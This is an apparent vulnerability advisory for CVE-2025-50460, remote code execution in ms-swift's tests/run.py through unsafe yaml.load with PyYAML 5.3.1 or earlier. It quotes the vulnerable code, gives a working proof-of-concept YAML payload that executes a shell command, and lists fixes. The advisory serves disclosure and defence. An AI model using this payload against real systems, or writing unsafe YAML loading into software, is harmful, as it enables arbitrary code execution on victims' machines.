CVE-2025-50460 is a critical-severity (CVSS 9.8) Deserialization of Untrusted Data vulnerability in ms-swift. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.
MS SWIFT Remote Code Execution via unsafe PyYAML deserialization
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-50460.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
ms-swiftReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Description
A Remote Code Execution (RCE) vulnerability exists in the modelscope/ms-swift project due to unsafe use of yaml.load() in combination with vulnerable versions of the PyYAML library (≤ 5.3.1). The issue resides in the tests/run.py script, where a user-supplied YAML configuration file is deserialized using yaml.load() with yaml.FullLoader.
If an attacker can control or replace the YAML configuration file provided to the --run_config argument, they may inject a malicious payload that results in arbitrary code execution.
Affected Repository
- Project: modelscope/ms-swift
- Affect versions: latest
- File:
tests/run.py - GitHub Permalink: https://github.com/modelscope/ms-swift/blob/e02ebfdf34f979bbdba9d935acc1689f8d227b38/tests/run.py#L420
- Dependency: PyYAML <= 5.3.1
Vulnerable Code
if args.run_config is not None and Path(args.run_config).exists():
with open(args.run_config, encoding='utf-8') as f:
run_config = yaml.load(f, Loader=yaml.FullLoader)
Proof of Concept (PoC)
Step 1: Create malicious YAML file (exploit.yaml)
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('mkdir HACKED')"
Step 2: Execute with vulnerable PyYAML (<= 5.3.1)
import yaml
with open("exploit.yaml", "r") as f:
cfg = yaml.load(f, Loader=yaml.FullLoader)
This results in execution of os.system, proving code execution.
Mitigation
- Replace
yaml.load()withyaml.safe_load() - Upgrade PyYAML to version 5.4 or later
Example Fix:
# Before
yaml.load(f, Loader=yaml.FullLoader)
# After
yaml.safe_load(f)
Author
- Discovered by: Yu Rong (戎誉) and Hao Fan (凡浩)
- Contact: [[email protected]]
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | ms-swift | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ms-swift, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
The records we use list no patched version of ms-swift for CVE-2025-50460. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.
Mitigate without a patch
Do not deserialise data from untrusted sources: where the format allows it, restrict deserialisation to an explicit allowlist of expected types, and prefer a data-only format (JSON, Protobuf) over one that can reconstruct arbitrary objects until you can upgrade.
Frequently Asked Questions
Is CVE-2025-50460 in your dependencies?
Find it across PyPI, including transitive dependencies.